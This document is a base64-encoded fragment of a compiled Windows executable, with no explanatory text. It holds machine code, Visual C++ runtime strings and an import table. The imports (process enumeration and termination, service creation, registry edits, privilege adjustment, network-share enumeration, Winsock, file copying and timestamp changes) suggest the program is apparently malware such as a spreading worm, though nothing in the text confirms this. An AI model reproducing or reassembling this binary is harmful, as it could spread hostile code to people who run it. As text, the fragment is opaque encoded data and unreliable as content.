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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAJbcAACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrd AADq3AAA2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAA QNoAAFLaAABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7a AAD02QAALtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA 3tkAAKTZAADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZ AAD82AAALtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAA nN4AAA7gAAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbe AABa3gAAbN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAA AAAAAC7eAAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMA AIAXAACAAAAAAAAAAAAAAAAABQAAAAAAAAAHAAAACQAAAAUAAAACAAAAAgAAAAIAAAACAAAA DAAZAAEAAQACAA4ACgAfAAQAAQADABkACAAPAAIAAgALAAIAAQAGAP////8vhUAAQ4VAAAAA AAAAAAAAAAAAAP////8Ri0AAFYtAAP/////Fi0AAyYtAAAYAAAYAAQAAEAADBgAGAhAERUVF BQUFBQU1MABQAAAAACAoOFBYBwgANzAwV1AHAAAgIAgAAAAACGBoYGBgYAAAcHB4eHh4CAcI AAAHAAgICAAACAAIAAcIAAAAKABuAHUAbABsACkAAAAAAChudWxsKQAAcnVudGltZSBlcnJv ciAAAA0KAABUTE9TUyBlcnJvcg0KAAAAU0lORyBlcnJvcg0KAAAAAERPTUFJTiBlcnJvcg0K AABSNjAyOA0KLSB1bmFibGUgdG8gaW5pdGlhbGl6ZSBoZWFwDQoAAAAAUjYwMjcNCi0gbm90 IGVub3VnaCBzcGFjZSBmb3IgbG93aW8gaW5pdGlhbGl6YXRpb24NCgAAAABSNjAyNg0KLSBu b3QgZW5vdWdoIHNwYWNlIGZvciBzdGRpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI1DQot IHB1cmUgdmlydHVhbCBmdW5jdGlvbiBjYWxsDQoAAABSNjAyNA0KLSBub3QgZW5vdWdoIHNw YWNlIGZvciBfb25leGl0L2F0ZXhpdCB0YWJsZQ0KAAAAAFI2MDE5DQotIHVuYWJsZSB0byBv cGVuIGNvbnNvbGUgZGV2aWNlDQoAAAAAUjYwMTgNCi0gdW5leHBlY3RlZCBoZWFwIGVycm9y DQoAAAAAUjYwMTcNCi0gdW5leHBlY3RlZCBtdWx0aXRocmVhZCBsb2NrIGVycm9yDQoAAAAA UjYwMTYNCi0gbm90IGVub3VnaCBzcGFjZSBmb3IgdGhyZWFkIGRhdGENCgANCmFibm9ybWFs IHByb2dyYW0gdGVybWluYXRpb24NCgAAAABSNjAwOQ0KLSBub3QgZW5vdWdoIHNwYWNlIGZv ciBlbnZpcm9ubWVudA0KAFI2MDA4DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIGFyZ3VtZW50 cw0KAAAAUjYwMDINCi0gZmxvYXRpbmcgcG9pbnQgbm90IGxvYWRlZA0KAAAAAE1pY3Jvc29m dCBWaXN1YWwgQysrIFJ1bnRpbWUgTGlicmFyeQAAAAAKCgAAUnVudGltZSBFcnJvciEKClBy b2dyYW06IAAAAC4uLgA8cHJvZ3JhbSBuYW1lIHVua25vd24+AAAAAAAA/////2GvQABlr0AA R2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEAdXNlcjMy LmRsbAAA6NYAAAAAAAAAAAAAFNwAAGTQAACE1gAAAAAAAAAAAADw3QAAANAAAETYAAAAAAAA AAAAAP7dAADA0QAANNgAAAAAAAAAAAAAPt4AALDRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJbc AACo3AAA2N0AAMDdAACe3QAAit0AALDdAABk3QAAUN0AAHrdAAAe3QAAEt0AADrdAADq3AAA 2twAAAjdAABu3AAAXtwAAITcAAA+3AAAMNwAAEzcAADG3AAAItwAAAAAAAAg2gAAQNoAAFLa AABe2gAAatoAAAraAAA02gAAnNoAALLaAAC+2gAAztoAAODaAADQ2QAAftoAAI7aAAD02QAA LtsAAEDbAABW2wAAatsAAILbAACS2wAAotsAALDbAADG2wAA2NsAAPTbAAAE3AAA3tkAAKTZ AADE2QAAtNkAAPDaAAAC2wAAdtkAAHDYAACQ2AAAktkAAITZAAA+2QAAYNkAAFDZAAD82AAA LtkAABjZAADK2AAA7NgAAN7YAACg2AAAttgAAK7YAAAQ2wAAHtsAAH7YAACs3gAAnN4AAA7g AAD+3wAA8N8AAODfAADO3wAAvN8AALDfAACi3wAAlN8AAIbfAAB43wAAaN8AAEbeAABa3gAA bN4AAHreAACG3gAAkN4AAFbfAAC83gAAyN4AANTeAADw3gAACt8AACTfAAA83wAAAAAAAC7e AAAa3gAACt4AAAAAAAA0AACAAwAAgHQAAIAQAACAEwAAgAkAAIAEAACAbwAAgHMAAIAXAACA AAAAALQARnJlZUxpYnJhcnkAPgFHZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAABsA Q2xvc2VIYW5kbGUAlgJTbGVlcACeAlRlcm1pbmF0ZVByb2Nlc3MAABwCUmVhZFByb2Nlc3NN ZW1vcnkA7wFPcGVuUHJvY2VzcwDZAU1vZHVsZTMyRmlyc3QATABDcmVhdGVUb29saGVscDMy U25hcHNob3QAACQBR2V0TW9kdWxlRmlsZU5hbWVBAAD+AVByb2Nlc3MzMk5leHQA/AFQcm9j ZXNzMzJGaXJzdAAA1gFNYXBWaWV3T2ZGaWxlADUAQ3JlYXRlRmlsZU1hcHBpbmdBAAASAUdl dEZpbGVTaXplADQAQ3JlYXRlRmlsZUEAsAJVbm1hcFZpZXdPZkZpbGUAGwFHZXRMb2NhbFRp bWUAABoBR2V0TGFzdEVycm9yAADMAUxvY2FsRnJlZQDIAUxvY2FsQWxsb2MAAPgAR2V0Q3Vy cmVudFByb2Nlc3NJZADSAldpZGVDaGFyVG9NdWx0aUJ5dGUA5AFNdWx0aUJ5dGVUb1dpZGVD aGFyAM4AR2V0Q29tcHV0ZXJOYW1lQQAAKABDb3B5RmlsZUEAuQFJc0RCQ1NMZWFkQnl0ZQAA 3wJXcml0ZUZpbGUAGAJSZWFkRmlsZQAAYwFHZXRUZW1wRmlsZU5hbWVBAABlAUdldFRlbXBQ YXRoQQAAVwBEZWxldGVGaWxlQQBoAlNldEZpbGVBdHRyaWJ1dGVzQQAAkABGaW5kQ2xvc2UA nQBGaW5kTmV4dEZpbGVBAJQARmluZEZpcnN0RmlsZUEAAGECU2V0RW5kT2ZGaWxlAABqAlNl dEZpbGVQb2ludGVyAAAUAUdldEZpbGVUaW1lAGwCU2V0RmlsZVRpbWUAbQFHZXRUaWNrQ291 bnQAAEQAQ3JlYXRlUHJvY2Vzc0EAAFkBR2V0U3lzdGVtRGlyZWN0b3J5QQD3AEdldEN1cnJl bnRQcm9jZXNzAJsCU3lzdGVtVGltZVRvRmlsZVRpbWUAAF0BR2V0U3lzdGVtVGltZQB1AUdl dFZlcnNpb25FeEEAdAFHZXRWZXJzaW9uAADOAldhaXRGb3JTaW5nbGVPYmplY3QAygBHZXRD b21tYW5kTGluZUEAgABFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NBAAQBR2V0RHJpdmVUeXBl QQBKAENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAABbAVJlZ0Nsb3NlS2V5AGYBUmVnRW51 bUtleUEAcQFSZWdPcGVuS2V5QQBkAVJlZ0RlbGV0ZVZhbHVlQQBqAVJlZ0VudW1WYWx1ZUEA NABDbG9zZVNlcnZpY2VIYW5kbGUAAEwAQ3JlYXRlU2VydmljZUEAAEUBT3BlblNDTWFuYWdl ckEAALMBU3RhcnRTZXJ2aWNlQ3RybERpc3BhdGNoZXJBAK4BU2V0U2VydmljZVN0YXR1cwAA RwFPcGVuU2VydmljZUEAAI4BUmVnaXN0ZXJTZXJ2aWNlQ3RybEhhbmRsZXJBAJ0ARnJlZVNp ZACYAEVxdWFsU2lkAAAYAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAA0ABHZXRUb2tlbklu Zm9ybWF0aW9uAEIBT3BlblByb2Nlc3NUb2tlbgAAXAFSZWdDb25uZWN0UmVnaXN0cnlBALIB U3RhcnRTZXJ2aWNlQQB7AVJlZ1F1ZXJ5VmFsdWVFeEEAAIYBUmVnU2V0VmFsdWVFeEEAAF4B UmVnQ3JlYXRlS2V5QQAXAEFkanVzdFRva2VuUHJpdmlsZWdlcwD1AExvb2t1cFByaXZpbGVn ZVZhbHVlQQBBRFZBUEkzMi5kbGwAAFdTMl8zMi5kbGwAABEAV05ldENsb3NlRW51bQAcAFdO ZXRFbnVtUmVzb3VyY2VBAEAAV05ldE9wZW5FbnVtQQBNUFIuZGxsACYBR2V0TW9kdWxlSGFu ZGxlQQAAUAFHZXRTdGFydHVwSW5mb0EAfQBFeGl0UHJvY2VzcwC/AEdldENQSW5mbwC5AEdl dEFDUAAAMQFHZXRPRU1DUAAAvwFMQ01hcFN0cmluZ0EAAMABTENNYXBTdHJpbmdXAACfAUhl YXBGcmVlAACZAUhlYXBBbGxvYwCtAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAsgBGcmVl RW52aXJvbm1lbnRTdHJpbmdzQQCzAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAYBR2V0RW52 aXJvbm1lbnRTdHJpbmdzAAgBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAbQJTZXRIYW5kbGVD b3VudAAAUgFHZXRTdGRIYW5kbGUAABUBR2V0RmlsZVR5cGUAnQFIZWFwRGVzdHJveQCbAUhl YXBDcmVhdGUAAL8CVmlydHVhbEZyZWUALwJSdGxVbndpbmQAUwFHZXRTdHJpbmdUeXBlQQAA VgFHZXRTdHJpbmdUeXBlVwAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAfAJTZXRT dGRIYW5kbGUAAKoARmx1c2hGaWxlQnVmZmVycwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 